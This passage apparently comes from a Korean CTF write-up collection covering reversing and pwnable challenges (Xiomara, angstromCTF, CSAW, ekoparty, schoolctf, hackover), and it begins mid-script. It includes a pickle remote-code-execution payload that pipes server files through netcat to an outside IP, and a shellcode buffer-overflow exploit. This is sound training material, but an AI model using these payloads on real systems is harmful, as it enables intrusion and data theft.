for n in range(16):
r = libc.rand()
for l in range(0x10000):
if (int(key[4*n:4*n+4],16)*((h^r^l)+1)+(h^r^l))&0xffff==int(correct[4*n:4*n+4],16):
pw += "%04X" % l
h = int(correct[4*n:4*n+4],16)
break
print p.sendlineafter('name: ','joizel'),
print p.sendlineafter(': ', pw)
print p.recv(1024)
p.interactive()
[2018_Xiomara CTF] [REV] Slammer¶
문제내용¶
문제 풀이¶
먼저 바이너리 파일을 리눅스에서 실행해보면 다음과 같다.
$ ./slammer
password: abcd
Wrong!
password를 입력값으로 하여 일치여부를 확인하는 문제이다.
IDA hexray decompiler¶
hexray decompiler가 정상적으로 동작하지 않았다.
radare2를 통한 디버깅¶
$ r2 -d ./slammer
[0x00600120]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
= attach 2888 2888
2888
[0x00600120]> pd 20
| ;-- segment.LOAD1:
| ;-- rip:
/ (fcn) entry0 347
| entry0 (int arg_19h, int arg_7e7e3e7eh);
| ; arg int arg_19h @ rbp+0x19
| ; arg int arg_7e7e3e7eh @ rbp+0x7e7e3e7e
| 0x00600120 b801000000 mov eax, 1
| 0x00600125 bf01000000 mov edi, 1
| 0x0060012a 48bee8004000. movabs rsi, 0x4000e8
| 0x00600134 ba0b000000 mov edx, 0xb ; 11
| 0x00600139 0f05 syscall
| 0x0060013b 4881ec000100. sub rsp, 0x100
| 0x00600142 b800000000 mov eax, 0
| 0x00600147 bf00000000 mov edi, 0
| 0x0060014c 4889e6 mov rsi, rsp
| 0x0060014f ba32000000 mov edx, 0x32 ; '2' ; 50
| ; CODE XREF from 0x006000ee (map.home_joizel_slammer.rwx + 238)
| 0x00600154 0f05 syscall
| 0x00600156 b823000000 mov eax, 0x23 ; '#' ; 35
| 0x0060015b bf06014000 mov edi, 0x400106
| 0x00600160 31f6 xor esi, esi
| 0x00600162 0f05 syscall
| 0x00600164 4889e1 mov rcx, rsp
| 0x00600167 48ffc9 dec rcx
| 0x0060016a 48ffc1 inc rcx
| 0x0060016d 803978 cmp byte [rcx], 0x78 ; [0x78:1]=255 ; 'x' ; 120
| ,=< 0x00600170 7427 je 0x600199
[0x00600120]> s 0x60016d
[0x0060016d]> pd 2
| 0x0060016d 803978 cmp byte [rcx], 0x78 ; [0x78:1]=255 ; 'x' ; 120
| ,=< 0x00600170 7427 je 0x600199
[0x0060016d]> dr rax=0x78
0x00000000 ->0x00000078
[0x0060016d]> dr rip=0x600199+3
0x00600120 ->0x0060019c
[0x0060016d]> s rip
[0x0060019c]> pd 1
| ;-- rip:
| 0x0060019c bfb60c0000 mov edi, 0xcb6 ; 3254
[0x0060019c]> ds 5*0xcb6+5
[0x0060019c]> s rip
[0x006001ae]> pd 1
| : ;-- rip:
| 0x006001b5 803969 cmp byte [rcx], 0x69 ; [0x69:1]=255 ; 'i' ; 105
기본 명령어
V + p + p (disassembly)
step into (s)
step over (S)
:px 200@[address]
s 특정 주소: 특정주소까지 이동
pdj 1: 디스어셈블 내용 json 형식으로 1줄 출력
해당 명령을 python r2pipe 플러그인을 이용해서 실행하면 플래그를 획득할 수 있다.
import r2pipe
r=r2pipe.open("./slammer")
r.cmd("ood 2>/dev/null")
r.cmd("s 0x60016d")
while True:
rax=r.cmdj("pdj 1")[0]["ptr"]
print(chr(rax))
if rax==0x7d:
print()
break
r.cmd("dr rax="+str(rax))
rip=r.cmdj("pdj 2")[1]["jump"]+3
r.cmd("dr rip="+str(rip))
r.cmd("s rip")
edi=r.cmdj("pdj 1")[0]["ptr"]
r.cmd("ds "+str(5*edi+5))
r.cmd("s rip")
[2018_angstromCTF] [REV] Product Key¶
문제내용¶
Artemis wants a copy of Windows, but she doesn’t feel like paying for it. She decided to hack Microsoft’s servers to generate a product key, and found their verification software, which runs on Linux for some reason. Can you get her a working product key (form ABCD-EFGH-IIJK-LMNO-PQRS-TUVW, each uppercase letter is a digit) using the email artemis.tosini@example.com and name Artemis Tosini?
문제 풀이¶
먼저 바이너리 파일을 리눅스에서 실행해보면 다음과 같다.
$ ./activate
Name: Artemis Tosini
Email: artemis.tosini@example.com
Product key: 1234-5678-9012-3456-7890-1234
Invalid product key
Name과 Email과 Product key 입력값으로 하여 일치여부를 확인하는 문제이다. 문제에서 Name과 Email은 주어졌으며 Prodcuct key를 구하면 해결할 수 있다.
IDA hexray decompiler¶
입력한 값을 verify_key라는 함수를 통해 인증하여, 조건이 만족할 경우 참이되어 "Windows has been activated" 메시지를 출력한다.
if ( (unsigned __int8)verify_key(s_name, v6_email, v7_key) )
{
puts("Windows has been activated");
result = 0;
}
만족해야할 출력값 조건은 name과 email만으로 계산이 가능하기 때문에 먼저 계산한다.
def sumChars(a1,a2,a3,a4):
v5 = 0
for i in range(a2,a3,a4):
v5 += ord(a1[i])
return v5
a2_email = "artemis.tosini@example.com"
a1_name = "Artemis Tosini"
pad = "773C1E6B3913220F2402735967642173171E6D5B046665515B4357270E6A0F6D2F0148443B485E804E1F27113346334A255E333228606E00061F2867437D5732".decode("hex")
v10 = 0
v22 = []
v23 = []
v22.append(a2_email)
v22.append(a1_name)
for c in range(2):
v21 = v22[c]
d = len(v22[c])
if d <= 31:
for e in range(32-d):
v21+= pad[v10 + e]
v10 = 32 - d
#v21+= 0
v23.append(v21)
a2_email2 = ""
a1_name2 = ""
for f in range(32):
a2_email2 += chr(ord(v23[0][f])^5)
a1_name2 += chr(ord(v23[1][f])^0xf)
v24 = []
v37 = []
v25 = 2
v26 = 4
v27 = 6
v28 = 8
v29 = 7
v30 = 5
v31 = sumChars(a2_email2, 0, 10, 1)
v32 = sumChars(a2_email2, 10, 25, 1)
v33 = sumChars(a2_email2, 25, 32, 1)
v34 = sumChars(a1_name2, 0, 13, 1)
v35 = sumChars(a1_name2, 13, 20, 1)
v36 = sumChars(a1_name2, 20, 32, 1)
v24.append(v25)
v24.append(v26)
v24.append(v27)
v24.append(v28)
v24.append(v29)
v24.append(v30)
v37.append(v31)
v37.append(v32)
v37.append(v33)
v37.append(v34)
v37.append(v35)
v37.append(v36)
for j in range(6):
v37[j] = v37[j] * v24[j] % 10000
for k in range(6):
print v37[k],
print a2_email2.encode("hex")
print a1_name2.encode("hex")
output이 [2040, 6016, 2964, 504, 2891, 4600]과 같으면 됨. padding된 email과 name값도 저장
radare2를 통한 디버깅¶
hexray decompiler로 출력된 코드 중 이해가 안가는 부분에 대해서는 디버깅으로 계산식을 확인함
$ r2 -d ./activate
Process with PID 9470 started...
= attach 9470 9470
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
-- Execute commands on a temporary offset by appending '@ offset' to your command.
[0x7f6ed7f1bc30]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
= attach 9470 9470
9470
[0x7f6ed7f1bc30]> dcu main
Continue until 0x00400ff8 using 1 bpsize
hit breakpoint at: 400ff8
[0x00400ff8]>
기본 명령어
V + p + p (disassembly)
step into (s)
step over (S)
:px 200@[address]
s 특정 주소: 특정주소까지 이동
pdj 1: 디스어셈블 내용 json 형식으로 1줄 출력
해당 명령을 python z3 플러그인을 이용해서 실행하면 플래그를 획득할 수 있다.
import string
from z3 import *
a2_email2 = "64777160686c762b716a766c6b6c45607d64687569602b666a6872391b6e3c16".decode("hex")
a1_name2 = "4e7d7b6a62667c2f5b607c6661662d002b0d7c56686b2e7c181162540b696a5e".decode("hex")
pad = "773C1E6B3913220F2402735967642173171E6D5B046665515B4357270E6A0F6D2F0148443B485E804E1F27113346334A255E333228606E00061F2867437D5732".decode("hex")
output = []
def swapArr(a1,a2,a3):
a1[a2],a1[a3] = a1[a3],a1[a2]
return a1
def sumChars(a1,a2,a3,a4):
v5 = 0
for i in range(a2,a3,a4):
v5 += ord(a1[i])
return v5
if __name__=="__main__":
output = [Int('key[%d]' %i)for i in range(6)]
result = [2040, 6016, 2964, 504, 2891, 4600]
s = Solver()
for g in range(6):
v5 = sumChars(a2_email2, 0, 32, (g + 2));
output[g] -= (sumChars(a2_email2, (g + 1), 32, (g + 2)) * v5) % 10000
v6 = sumChars(a1_name2, 0, 32, 2)
output[g] += 4 * (v6 - sumChars(a1_name2, 1, 32, 2))
swapArr(output, 3, 4)
swapArr(output, 2, 5)
swapArr(output, 1, 5)
swapArr(output, 2, 3)
swapArr(output, 0, 5)
swapArr(output, 4, 5)
for h in range(6):
output[h] += sumChars(a1_name2, 0, 32, 1)
output[h] += sumChars(a2_email2, 0, 32, 1)
for i in range(6):
v7 = sumChars(a2_email2, (4 * i), (4 * i + 1), 1)
output[i] += v7 % sumChars(a1_name2, (4 * i + 2), (4 * i + 3), 1)
for j in range(6):
s.add(output[j] == result[j] )
if s.check()==sat:
print s.model()
android¶
etc¶
[2015_csaw] [REV] hacking time¶
취약점 확인 (FCEUX 에뮬레이터)¶
fceux라는 에뮬레이터 디버거 툴이 있군요. 일단 설치하고 돌렸더니 이상한 도로위를 달리는 PC가 나오네요. 계속 F 버튼을 누르니까 버퍼 오버플로우 관련 화면이 나옵니다.

계속 누르니까 화면에서 Segmant Fault가 나면서 Lock Down 화면이 뜨네요.

Input 값 확인 (6502)¶
여기서 입력 값이랑 메모리에 있는 값과 compare를 해서 키값을 출력하게 하는 거 같습니다. 글씨 입력 칸을 세보니 24칸입니다.
그럼 일단 입력 받는 부분이 어디인지 한번 봐야겠죠. 이 툴의 사용법을 잘 모르니까 일단 RAM Search를 클릭해보니 그림과 같습니다.

입력 부분에 값을 화살표 위아래 버튼으로 고쳤더니 0005~001c까지 32(Dec)로 되어있는 것을 볼 수 있습니다. 일단 Debugger 기능을 실행해보니 어셈블리 코드가 6502 프로세스로 되어있는데 무슨 말인지 하나도 모르겠네요.

대충 중요해보이는 어셈블리 언어만 구글링해봅니다.
BNE = Branch on Result not Zero
EOR = XOR Memory with Accumulator
LDA = Load Accumulator with Memory
STA = Store Accumulator in Memory
CPY = Compare Memory with Index Y
TAX = Transfer Accumulator to Index X(A->X)
TXA = Transfer Index X to Accumulator(X->A)
ROL = Rotate Left One Bit(C <- 7 6 5 4 3 2 1 0 <- C)
ROR = Rotate Right One Bit(C -> 7 6 5 4 3 2 1 0 -> C)
PHA = Push Accumulator on Stack(A->S)
PLA = Pull Accumulator from Stack
ADC = Add Memory to Accumulator with Carry
일단 $0005를 입력값으로 받기 때문에 거기에 브레이크포인트를 걸고, 프로그램 상에서 f(확인)을 눌러 어떤식으로 변화가 이어지는 지 보도록 하겠습니다.
확인 결과 입력값에서 24번 for문을 돌면서 뭔가 인코딩을 하는 것으로 보입니다.
82F7 LDA $0005,Y // $0005 A에 로드
82FA TAX // A->X
82FB ROL // 1bit 왼쪽으로 이동
82FC TXA // X->A
82FD ROL // 1bit 왼쪽으로 이동
82FE TAX // A->X
82FF ROL // 1bit 왼쪽으로 이동
8300 TXA // X->A
8301 ROL // 1bit 왼쪽으로 이동
8302 TAX // A->X
8303 ROL // 1bit 왼쪽으로 이동
8304 TXA // X->A
8305 ROL // 1bit 왼쪽으로 이동
8306 PHA // PUSH A
8307 LDA $003B // $003B A에 로드
8309 TAX // A->X
830A ROR // 1bit 오른쪽으로 이동
830B TXA // X->A
830C ROR // 1bit 오른쪽으로 이동
830D TAX // A->X
830E ROR // 1bit 오른쪽으로 이동
830F TXA // X->A
8310 ROR // 1bit 오른쪽으로 이동
8311 STA $003B // $003B 저장
8313 PLA // PULL A
8314 CLC
8315 ADC $003B // A + $003B
8317 EOR $955E,Y // A xor $955E
831A STA $003B // $003B 저장
831C TAX // A->X
831D ROL // 1bit 왼쪽으로 이동
831E TXA // X->A
831F ROL // 1bit 왼쪽으로 이동
8320 TAX // A->X
8321 ROL // 1bit 왼쪽으로 이동
8322 TXA // X->A
8323 ROL // 1bit 왼쪽으로 이동
8324 TAX // A->X
8325 ROL // 1bit 왼쪽으로 이동
8326 TXA // X->A
8327 ROL // 1bit 왼쪽으로 이동
8328 TAX // A->X
8329 ROL // 1bit 왼쪽으로 이동
832A TXA // X->A
832B ROL // 1bit 왼쪽으로 이동
832C EOR $9576,Y // A xor $9576
832F STA $001E,Y // $001E 저장
8332 INY // Y+1
8333 CPY #$18 // Y와 #$18(24) 비교(같으면 0)
8335 BNE $82F7 // 결과가 0이 아니면 82F7로 점프
8337 LDY #$00 // #$00 로드
8339 LDA $001E,Y // $001E A에 로드
833C BNE $8346 // 결과가 0이 아니면 8346로 점프
833E INY
833F CPY #$18
8341 BNE $8339
ASM2PYTHON¶
어셈코드를 보니 일단 Input값에 계산식을 써서 값이 0으로 도출되면 인증이 통과되는 형식임을 확인할 수 있습니다. 이제 이 소스를 우리가 보기 편한 python코드로 하나씩 수정해봅시다.
Code_Length = 0x18
mem_955e = [0x70, 0x30, 0x53, 0xa1, 0xd3, 0x70, 0x3f, 0x64,
0xb3, 0x16, 0xe4, 0x04, 0x5f, 0x3a, 0xee, 0x42,
0xb1, 0xa1, 0x37, 0x15, 0x6e, 0x88, 0x2a, 0xab]
mem_9576 = [0x20, 0xac, 0x7a, 0x25, 0xd7, 0x9c, 0xc2, 0x1d,
0x58, 0xd0, 0x13, 0x25, 0x96, 0x6a, 0xdc, 0x7e,
0x2e, 0xb4, 0xb4, 0x10, 0xcb, 0x1d, 0xc2, 0x66]
def add(x,y):
return 0xff & (x+y)
def rol(x):
return 0xff & ((x<<1)|(x>>7))
def ror(x):
return 0xff & ((x>>1)|(x<<7))
def encode(cipher):
a, x = 0, 0
tmp = 0 # Stack
mem_003b = a
mem_001e = []
m = []
for y in range(Code_Length):
a= cipher[y] # LDA $0005,Y
x= a = rol(rol(rol(a))) # TXA, ROL (3 count)
tmp= a # PHA
a= mem_003b # LDA $003B
x= a = ror(ror(a)) # TXA, ROR (2 count)
mem_003b = a # STA $003B
a= tmp # PLA
# CLC
a= add(a, mem_003b) # ADC $003B
a= a ^ mem_955e[y] # EOR $955E, Y
mem_003b = a # STA $003B
x= a = rol(rol(rol(rol(a)))) # TXA, ROR 4 count
a= a ^ mem_9576[y] # EOR $9576, Y
mem_001e.append(a) # STA $001E, Y
m.append(mem)
이 코드에서 mem_001e 리스트 값에 0x00이 들어가야 통과를 할 수 있습니다. 실제로 0x001e~0x0037 부분을 00으로 덮어쓰면 통과되는 화면을 볼 수 있습니다. 하지만 지금 풀어야할 숙제는 실제 00값이 나오게 하기 위한 입력값을 찾아야하기 때문에 위 python코드를 디코딩 코드로 변환해야합니다.

디코딩 코드로 변환할 때는 memory 003b의 값을 선언해야한다는 점이 중요합니다. 메모리 003b의 값이 최초 0005 입력값이 들어올 때 0값에서 입력값에 따라 유동적으로 변하기 때문입니다. 그리고, 디코딩 코드로 변환 시에 ror -> rol, rol -> ror로 변환하지만, add와 sub에서 더하고 빼지는 값은 ror로 고정시켜야합니다.
Code_Length = 0x18
mem_955e = [0x70, 0x30, 0x53, 0xa1, 0xd3, 0x70, 0x3f, 0x64,
0xb3, 0x16, 0xe4, 0x04, 0x5f, 0x3a, 0xee, 0x42,
0xb1, 0xa1, 0x37, 0x15, 0x6e, 0x88, 0x2a, 0xab]
mem_9576 = [0x20, 0xac, 0x7a, 0x25, 0xd7, 0x9c, 0xc2, 0x1d,
0x58, 0xd0, 0x13, 0x25, 0x96, 0x6a, 0xdc, 0x7e,
0x2e, 0xb4, 0xb4, 0x10, 0xcb, 0x1d, 0xc2, 0x66]
SPACES = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
def sub(x, y) :
return 0xff & (0xff + x - y + 1)
def rol(x):
return 0xff & ((x<<1)|(x>>7))
def ror(x):
return 0xff & ((x>>1)|(x<<7))
def decode(encode):
mem_003b = []
n = []
for j in range(Code_Length):
tmp = encode[j] ^ mem_9576[j]
tmp = ror(ror(ror(ror(tmp))))
mem_003b.append(tmp)
mem_003b.insert(0,0)
for i in range(Code_Length):
intext = encode[i] ^ mem_9576[i]
intext = ror(ror(ror(ror(intext))))
intext = intext ^ mem_955e[i]
intext = sub(intext,ror(ror(mem_003b[i])))
intext = ror(ror(ror(intext)))
n.append(chr(intext))
return n
['N', 'O', 'H', 'A', 'C', 'K', '4', 'U', 'X', 'W', 'R', 'A', 'T', 'H', 'O', 'F', 'K', 'F', 'U', 'H', 'R', 'E', 'R', 'X']
z3 solver¶
※ z3로 돌렸더니 훨씬 편하고 간결하네요. z3 사용법을 익혀둬야겠어요
if __name__ == '__main__':
print decode(SPACES)
from z3 import *
import sys
s1 = "703053A1D3703F64B316E4045F3AEE42B1A137156E882AAB".decode('hex')
s2 = "20AC7A25D79CC21D58D01325966ADC7E2EB4B410CB1DC266".decode('hex')
def check(xs, s):
b = BitVecVal(0, 8)
# Calculation
for i in range(24):
b= RotateLeft(xs[i], 3) + RotateRight(b, 2)^ord(s1[i])
a= RotateLeft(b, 4)^ord(s2[i])
s.add(a == 0)
# True, False
if s.check() == sat:
m= s.model()
a= ""
for i in range(24):
a+= chr(int(str((m[xs[i]]))))
print a
else:
print "unsat"
def solv():
s = Solver()
xs = []
for i in range(24):
# 8bit vertor
x= BitVec("x%d" % i, 8)
# Specify InputRange
s.add( 33 <= x )
s.add( x <= 90 )
xs.append(x)
check(xs,s)
solv()
[2015_ekoparty] [REV] pyc to py¶
디컴파일 (pyc -> py)¶
압축 파일을 다운 받은 뒤 풀어보니 pyc파일 형식입니다.
pyc를 uncompyle2 를 통해 디컴파일 해줍니다.
디컴파일한 코드는 다음과 같습니다.
# Embedded file name: ekobot_final.py
import os
import sys
import httplib2
import cPickle
from Crypto.PublicKey import RSA
from base64 import b64decode
from twython import Twython
if 0:
i11iIiiIii
OO0o = 'ekoctf'
if 0:
Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000o
if len(sys.argv) != 2:
os._exit(0)
if 0:
IiII1IiiIiI1/ iIiiiI1IiI1I1
##### 중략 #####
IiIi[0:5] == 'eko11':
cPickle.loads(IiIiIi[5:])
os._exit(0)
if 0:
iii1II11ii.Oo.iIiiiI1IiI1I1.ii1I
except Exception as OOooO:
print str(OOooO)
if 0:
ii1II11I1ii1I+ ooO0OO000o % i11iIiiIii.o0oOoO00o - IiII1IiiIiI1
oo(oo00)
리펙토링¶
디컴파일 코드 가독성을 높이기위해 변수명을 수정하고, 필요없는 코드(if 0:)들을 수정해줍니다.
import os
import sys
import httplib2
import cPickle
from Crypto.PublicKey import RSA
from base64 import b64decode
from twython import Twython
if len(sys.argv) != 2:
os._exit(0)
input_file = sys.argv[1]
def read_file1():
input = 0
if os.path.isfile(input_file):
try:
fileopen = open(input_file, 'r')
input = int(fileopen.readline(), 10)
except:
input = 0
return input
def main(twid):
try:
fileopen = open(input_file, 'w')
fileopen.write(str(twid))
except:
print 'error'
def response_data(url):
httplist = httplib2.Http('')
res_header, res_data = httplist.request(url, 'GET')
if res_header.status == 200:
try:
if res_header['content-type'][0:10] == 'text/plain':
return res_data
return 'Err'
except:
return 'Err'
else:
return url
def dec(cipher_text):
try:
rsa_key = RSA.importKey(open('ekobot.pem').read())
decode_data = b64decode(cipher_text)
iiiI11 = rsa_key.decrypt(decode_data)
return iiiI11
except Exception as error_page:
print str(error_page)
return 'Err'
twitter = Twython('ienmDwTNHZVR9si4SzeCg1glB', 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN', oauth_version=2)
twitter_token = twitter.obtain_access_token()
twitter = Twython('ienmDwTNHZVR9si4SzeCg1glB', access_token=twitter_token)
input = read_file1()
searching = twitter.search(q='#ekoctf', rpp='250', result_type='mixed', since_id=input)
for status1 in searching['statuses']:
if status1['id'] > input:
input = status1['id']
n = 0
try:
for hashtag1 in status1['entities']['hashtags']:
if hashtag1['text'] == 'ekoctf':
n = 1
if n == 1:
for url1 in status1['entities']['urls']:
if os.fork() == 0:
decrypt = dec(response_data(url1['url']))
if decrypt[0:5] == 'eko11':
cPickle.loads(decrypt[5:])
os._exit(0)
except Exception as error_page:
print str(error_page)
main(input)
소스 분석¶
이제 코드를 확인해보면 Twython이라는 모듈을 먼저 쓰고 있는걸 볼 수 있습니다. Twitter의 공식 API의 기본 래퍼를 파이썬으로 제작한 것입니다. 코드 진행 순서는 다음과 같습니다.
- Twitter에 ekoctf 태그로 url부분에 대한 검색을 통해 content-type이 text/plain일 경우, reponse data를 추출
- 추출한 response data를 rsa private key ekobot.pem을 통해 복호화 진행
- 복호화한 데이터 header 값에 'eko11'이 있을 경우, 그 뒤 복호화한 데이터를 cPickle.loads을 통해 명령 실행
twitter를 통해 원하는 명령을 실행할 수 있는 프로그램 형태입니다. 우선 Public Key를 알아야 해당 문제를 해결할 수 있기 때문에 twitter에서 #ekoctf로 검색을 하니 다음 주소에 Public Key가 있는 걸 확인할 수 있습니다. (https://twitter.com/NullLifeTeam/status/657208358408204288))
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmWw84H8BSPG1Ispn1hBP
WZ4ORxniLhOl76aOAsGsqdRZJyL+PFLWedGUx0ELwzf3vWQ2wMDwN37MZYWdS4z8
WT6P4FRtK09UtDgqNUQdx49WBqDf2GmIT+uBwMQBUCe3x+RTVcwDzA1I0mPtJj3K
6bGdmSSBZjgc6MA4rJil7xdSVP5Pedb8MZMKk/5tXmFl3gFjykkUfG+DbmsxulZ4
8D+IoIU6bVWAkael+ftZtDWY43XkezD2swV01Eaw4J7MzBakPDA6KipxNhKQZ2xo
eEsP2p8L67qF48eUbxI1ukcrqdy0c92rSihmChGBmHQ2AREshtTTLpM24/Nrirje
/QIDAQAB
-----END PUBLIC KEY-----
역수행¶
이제 Public Key를 이용해 사용하고자 하는 명령을 RSA로 암호화하여 , twitter에 raw data 형식으로 글을 올리면 됩니다.
본 문서에서는 cat *|nc local_ip 8000 라는 명령을 통해 해당 서버 디렉토리에 파일들을 볼 수 있도록 하겠습니다. 여기서 주의할 점은 파일 명령 앞부분에 "eko11"을 넣어주어야 정상적으로 서버에서 복호화 진행이 될 수 있습니다.
from Crypto.PublicKey import RSA
from base64 import b64decode,b64encode
key=RSA.importKey(open('pub.pem').read())
exploit="eko11"+"cos\nsystem\n(S'cat * | nc 182.70.222.238 8000'\ntR.'\ntR."
txt=key.encrypt(exploit,32)[0]
final=b64encode(txt)
print final
그리고 local에서는 while true; do nc -l -n -v -p 8000 ; done 이라는 명령을 입력하고 기다리면 해당 서버 디렉토리 파일 내용을 확인할 수 있습니다.
- windows
- ida
- x32dbg, x64dbg
- linux
- ida
- radare2
PWNABLE¶
[2015_csaw] [PWN] precision¶
Prior information¶
프로그램은 스택 카나리와 nx는 안걸려 있고, 문제에서 버퍼 위치를 찍어 줍니다.
$ file ./precision
./precision: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]
=929fc6f283d6f6c3c039ee19bc846e927103ebcd, not stripped
$ ./checksec.sh --file precision
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH precision
$ ./precision
Buff: 0xff9f7718
joizel
Got joizel
Source Analysis¶
먼저 IDA Hexray를 이용하여 해당 프로그램의 소스를 확인해보면 다음과 같습니다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+18h] [bp-88h]@1
double v5; // [sp+98h] [bp-8h]@1
v5 = 64.33333;
setvbuf(stdout, 0, 2, 0);
printf("Buff: %p\n", &v4);
__isoc99_scanf("%s", &v4); // overflow
if ( 64.33333 != v5 )
{
puts("Nope");
exit(1);
}
return printf(str, &v4);
}
Segmentation fault¶
__isoc99_scanf에서 128바이트 이상 값이 입력될 경우 버퍼 오버플로우가 발생되는 것을 확인할 수 있습니다.
$ python -c 'print "A"*127' | ./precision
Buff: 0xff96b918
Got AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA
$ python -c 'print "A"*128' | ./precision
Buff: 0xfff6c378
Nope
중간에 v5값만 맞춰서 넣어 주면 리턴 주소값을 변경할 수 있습니다.
v5값은 IDA Hexray에서 dbl(floating point data) 형식으로 64.33333이 정의 되어 있는데 해당 값을 dword 형식으로 변환하면 해당 값이 0x475a31a5 40501555 인것을 확인할 수 있습니다.

exploit¶
공격 코드는 다음과 같습니다.
from pwn import *
#r = remote("54.173.98.115", 1259)
r = process("./precision")
recv = r.recvline()
buf_addr = int(recv.split(" ")[1][2:], 16)
print "%d [%s]" % (buf_addr, hex(buf_addr))
# len(shellcode) = 74
shellcode = "\xeb\x25\x5e\x31\xc9\xb1\x1e\x80\x3e\x07\x7c\x05\x80
\x2e\x07\xeb\x11\x31\xdb\x31\xd2\xb3\x07\xb2\xff\x66\x42\x2a\x1e
\x66\x29\xda\x88\x16\x46\xe2\xe2\xeb\x05\xe8\xd6\xff\xff\xff\x38
\xc7\x57\x6f\x69\x68\x7a\x6f\x6f\x69\x70\x75\x36\x6f\x36\x36\x36
\x36\x90\xea\x57\x90\xe9\x5a\x90\xe8\xb7\x12\xd4\x87"
# 128(dummy + shellcode) + v5 + 12(dummy) + ret(buf_addr)
#
r.sendline("A"*(128 - len(shellcode)) + shellcode + p32(0x475a31a5)
+ p32(0x40501555) + "EEEECCCCDDDD" + p32(buf_addr))
#r.recv()
r.interactive()
#r.sendline("cat flag.txt")
print r.recv()
#r.sendline("cat /lib32/libc.so.6")
#x = ""
#while r.can_recv(5):
#x += r.recv()
#with open("libc", "wb") as f:
#f.write(x)
해당 공격 코드 실행 결과는 아래와 같다.
$ python exploit.py
[+] Started program './precision'
4294231000 [0xfff4c3d8]
[*] Switching to interactive mode
$
[2015_schoolctf] [PWN] heartless types¶
문제에 C 파일이 하나 제공되는데, flag 와 stored_pass에는 *** 라고 되어 있지만 서버에는 정상적인 문자들이 들어가 있습니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char stored_pass[] = "***";
char flag[] = "***";
int main()
{
unsigned char password_len;
puts("Enter password len :");
scanf("%d\n", &password_len);
if (password_len == 0) {
puts("Password can't be 0 characters long");
return 1;
}
char *pass;
pass = malloc((int)password_len + 1);
int i;
for (i = 0; i < password_len; ++i) {
pass[i] = fgetc(stdin);
}
int stored_pass_len = strlen(stored_pass) + 1;
++password_len;
int min_len = (password_len < stored_pass_len) ? password_len : stored_pass_len; <--
for (i = 0; i < min_len; ++i) {
if (pass[i] != stored_pass[i]) {
puts("Wrong pass!");
return 1;
}
}
puts(flag);
return 0;
}
문제를 보면 사용자에게 "password 길이"를 정수로 받고, 해당 길이 만큼 한글자씩 입력 후 stored_pass 와 같은지 비교하여 다 맞으면 flag를 주고 하나라도 틀리면 Wrong pass! 를 출력합니다.
여기서 취약점은 min_len 에 있습니다.
for문의 횟 수가 password_len 또는 stored_pass_len 중에 더 작은 길이를 갖는 횟 수로 돌게 되는데, 이 때 password_len 의 타입이 unsigned char(0~255)이기 때문에 정수 오버플로우를 이용하여 password_len을 0 으로 만들 수 있고, passwrd_len 이 0 이기 때문에 for문은 돌지 않고 바로 flag를 출력하게 됩니다.
- 따라서, 입력 password length 를 255 (1바이트 갖는 최대 값)로 넣어 주고 254이상 아무 글자가
- 입력하면 ++password_len 때문에 255가 1 증가 하면서 0 이 되어 for문을 돌지 않고 바로 puts(flag)를 하게 됩니다.
$ nc sibears.ru 12013
Enter password len :
255
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Flag is thanks_god_we_got_not_only_binaries
[2016_hackover] [PWN] ez_pz¶
Dynamic Analysis¶
$ ./ez_pz
___ ____
___ __| _ \_ /
/ -_)_ / _// /
\___/__|_| /___|
lemon squeezy
Yippie, lets crash: 0xffee6e8c
Whats your name?
> joizel
Welcome joizel!
$ ./ez_pz
___ ____
___ __| _ \_ /
/ -_)_ / _// /
\___/__|_| /___|
lemon squeezy
Yippie, lets crash: 0xffd6415c
Whats your name?
> crashme
Welcome crashme!
세그멘테이션 오류 (core dumped)
Static Analysis¶
먼저 IDA Hexray를 이용하여 해당 프로그램의 소스를 확인해보면 다음과 같습니다.
int chall()
{
size_t v0; // eax@1
int result; // eax@3
char s; // [sp+Ch] [bp-40Ch]@1
_BYTE *v3; // [sp+40Ch] [bp-Ch]@1
printf("Yippie, lets crash: %p\n", &s);
printf("Whats your name?\n");
printf("> ");
fgets(&s, 1023, stdin);
v0 = strlen(&s);
v3 = memchr(&s, 10, v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", &s);
result = strcmp(&s, "crashme");
if ( !result )
result = vuln((unsigned int)&s, 0x400u);
return result;
}
